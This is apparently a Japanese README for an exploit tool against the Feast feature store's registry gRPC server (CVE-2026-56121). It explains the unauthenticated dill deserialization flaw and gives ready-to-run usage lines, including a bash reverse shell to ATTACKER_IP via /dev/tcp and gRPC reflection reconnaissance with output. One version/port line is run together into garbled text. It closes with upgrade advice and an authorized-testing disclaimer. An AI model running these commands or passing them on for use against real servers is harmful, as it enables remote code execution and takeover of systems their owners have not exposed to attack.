
FeastレジストリgRPCサーバー向けの認証不要のRCEエクスプロイト(CVE-2026-56121)。dillによるデシリアライゼーションを利用。ペイロード生成、リバースシェル対応、gRPCリフレクションによるターゲット識別を含む。
Feast フィーチャーストアの レジストリ gRPC サーバー における認証なしリモートコード実行。
ApplyFeatureView RPC は、リクエストプロトから OnDemandFeatureView を再構築します。その際、spec.user_defined_function.body を base64 デコードし、認証チェックより前に dill.loads() に渡します。dill は pickle のスーパーセットであるため、__reduce__ が (os.system, (cmd,)) を返すオブジェクトは、サーバーが逆シリアル化した瞬間に任意のコマンドを実行します。デフォルトのデプロイでは auth: no_auth が指定されているため、レジストリポートへの単一の認証なし gRPC リクエストで十分です。
< 0.63.00.63.06570 (レジストリ gRPC)エクスプロイトは Feast 自身が生成した gRPC protos を再利用するため、攻撃者側に脆弱な Feast をインストールします:
python3 -m venv venv && . venv/bin/activate
pip install "feast==0.62.0" grpcio
# quick check (output appears on the SERVER, not locally)
python3 exploit.py 10.10.10.10:6570 -c "id"
# reverse shell (bash -c wrapper: os.system uses /bin/sh, which lacks /dev/tcp)
python3 exploit.py 10.10.10.10:6570 -c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"'
-p/--project はプロジェクト名を設定します (デフォルトは feature_repo)。コマンド出力はレジストリホストの stdout/journal に出力されるため、結果を確認するにはリバースシェルを使用するか、読み取り可能なパスに書き込んでください。
レジストリは gRPC リフレクションが有効です:
grpcurl -plaintext 10.10.10.10:6570 list
# feast.registry.RegistryServer
# grpc.health.v1.Health
# grpc.reflection.v1alpha.ServerReflection
Feast 0.63.0 以降 にアップグレードし、認証バックエンドを有効にし、レジストリ gRPC ポートを信頼できないネットワークに公開しないでください。
許可されたセキュリティテストおよび教育目的のみに使用してください。自分が所有するシステム、またはテストする明示的な許可があるシステムに対してのみ使用してください。